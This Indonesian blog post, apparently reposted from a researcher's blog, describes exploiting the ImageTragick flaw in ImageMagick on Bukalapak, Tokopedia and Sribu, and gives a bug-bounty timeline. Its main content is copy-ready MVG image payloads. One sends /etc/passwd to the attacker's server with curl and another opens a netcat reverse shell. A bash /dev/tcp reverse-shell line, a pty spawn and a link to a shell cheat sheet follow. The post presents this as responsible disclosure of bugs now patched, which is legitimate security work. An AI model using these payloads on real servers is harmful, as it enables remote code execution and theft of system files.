Home > Uncategorized > Belajar Bug ImageTragick dari Bukalapak dan Tokopedia

Belajar Bug ImageTragick dari Bukalapak dan Tokopedia

Ada celah yang sebenarnya saat tulisan ini direlease sudah di patch oleh Bukalapak dan tokopedia…tulisan ini hanya untuk pembelajaran saja agar berhati-hati dengan bug tersebut terutama bagi yang mengelola server😀. tulisan ini saya ambil dari blognya Herdian Nugraha

Tanpa Reverse Shell

Cara ini berguna jika belum mempunyai akses server penuh, misal hanya request HTTP saja yang dapat diterima (contoh: codeanywhere.com, c9.io).

Buat sebuah file MVG (Magick Vector Graphics) di pengolah teks. Kebetulan saya pakai notepad karena lagi pakai windows.

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"; cat /etc/passwd | curl -d @ http://(alamat server kamu):9700;touch "hello)'
pop graphic-context

Simpan dengan ekstensi JPG/PNG/GIF (ekstensi yang diperbolehkan).

Sebelum diupload pastikan server kamu sedang listening pada port sesuai payload, disitu saya menggunakan port 9700. *numpang server himalkom

Kunjungi https://www.bukalapak.com/users/(USER ID KAMU)/edit?section=generaluntuk upload payload.

upload payload yang telah dibuat dan voila! …

Didapatkan akses shell di server bukalapak.

Penjelasan:
cat /etc/passwd | curl -d @ http://(alamat server kamu):9700 : membaca file /etc/passwd lalu di-pipe ke curl. stdout-nya untuk menjadi data input, lalu dikirimkan ke server port 9700.

Dengan Reverse Shell

Cara ini lebih asik karena dapat shell interaktif. Namun kamu harus punya akses server yang bisa menerima input non-HTTP.

Buat sebuah file MVG lagi lalu save seperti tadi. Saya menggunakan port 31337.

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i
2>&1|nc (Alamat Server Kamu) 31337 >/tmp/f;touch "hello)'
pop graphic-context

Kunjungi https://www.tokopedia.com/people/(USER ID KAMU)/edit untuk upload payload.

upload payload dan voila! …

Biar lebih interaktif, shell bash di spawn python -c 'import pty; pty.spawn("/bin/bash")'

Dari situ saya bisa menjalankan command lainnya.
ls -lahifconfigcat /etc/passwd

Untuk Sribu kurang lebih caranya sama namun tempat uploadnya saja yang berbeda http://www.sribu.com/id/members/iamms/exams.

The Patch

The Timeline

Bukalapak
  • 11/06/16 10.06 AM – Bug Reported to security@bukalapak.com.
  • 11/06/16 11.52 AM – PoC Reported.
  • 13/06/16 11.54 AM – Bug Patched. They ask my bank account for rewards.
  • 20/06/16 09.13 AM – Received IDR 15.000.000 from Bukalapak #BerkahRamadhan
Tokopedia
  • 12/06/16 12.32 AM – PoC Reported.
  • 12/06/16 04.39 AM – Bug Patched. 4 Hours Only!.
  • 13/06/16 01.26 PM – They give me certificate.
  • 14/06/16 09.52 AM – They ask my bank account and my identity card.
  • 16/06/16 05.50 PM – Received IDR 10.000.000 from Tokopedia #BerkahRamadhan.
Sribu
  • 12/06/16 01.17 AM – PoC Reported.
  • 14/06/16 12.34 AM – They thank me for the report.

Tambahan:
Jika netcat, curl, wget tidak ada maka dapat melakukan reverse shell dari bash bash -i >& /dev/tcp/(IP Kamu)/(Port Kamu) 0>&1 atau bisa dengan berbagai cara yang di share PentestMonkey http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Untuk merespon civitas senior yang menyatakan “Benci” atau “Bulan puasa bukannya cari pahala malah merusak web”, walaupun mungkin hal itu bukan ditujukan kepada saya *semoga saja*, atau mungkin beliau tersebut pemikiran masih terisolasi berita media mainstream jadi belum bisa membedakan mana ethical hacking dan non-ethical hacking. Saya sarankan baca artikel ini Ten Reasons Hacking is the Best Way to Ensure Company Security. Perlu dicatat bahwa dalam kasus ini tidak ada pihak yang dirugikan. Untuk yang me-report dapat reward dan yang dikasih report dapat nge-patch aplikasinya agar lebih aman, Win-Win.

source :https://blog.hrdn.us

 

Categories: Uncategorized
  1. No comments yet.
  1. No trackbacks yet.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: